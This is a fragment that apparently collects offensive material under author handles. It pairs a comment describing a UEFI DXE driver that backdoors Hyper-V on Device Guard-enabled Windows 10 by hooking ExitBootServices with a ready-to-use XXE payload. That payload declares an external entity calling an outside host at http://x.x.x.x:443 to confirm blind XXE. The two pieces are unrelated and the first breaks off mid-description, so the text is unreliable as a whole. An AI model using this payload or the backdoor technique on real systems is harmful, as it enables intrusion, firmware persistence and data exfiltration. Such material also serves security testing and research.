Cr4sh

/*
 *********************************************************************

  Part of UEFI DXE driver code that injects Hyper-V VM exit handler
  backdoor into the Device Guard enabled Windows 10 Enterprise.
  
  Execution starts from new_ExitBootServices() -- a hook handler 
  for EFI_BOOT_SERVICES.ExitBootServices() which being called by
  winload!OslFwpKernelSetupPhase1(). After DXE phase exit winload.efi
  transfers exeution to previously loaded Hyper-V kernel (hvix64.sys)

staaldraad

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>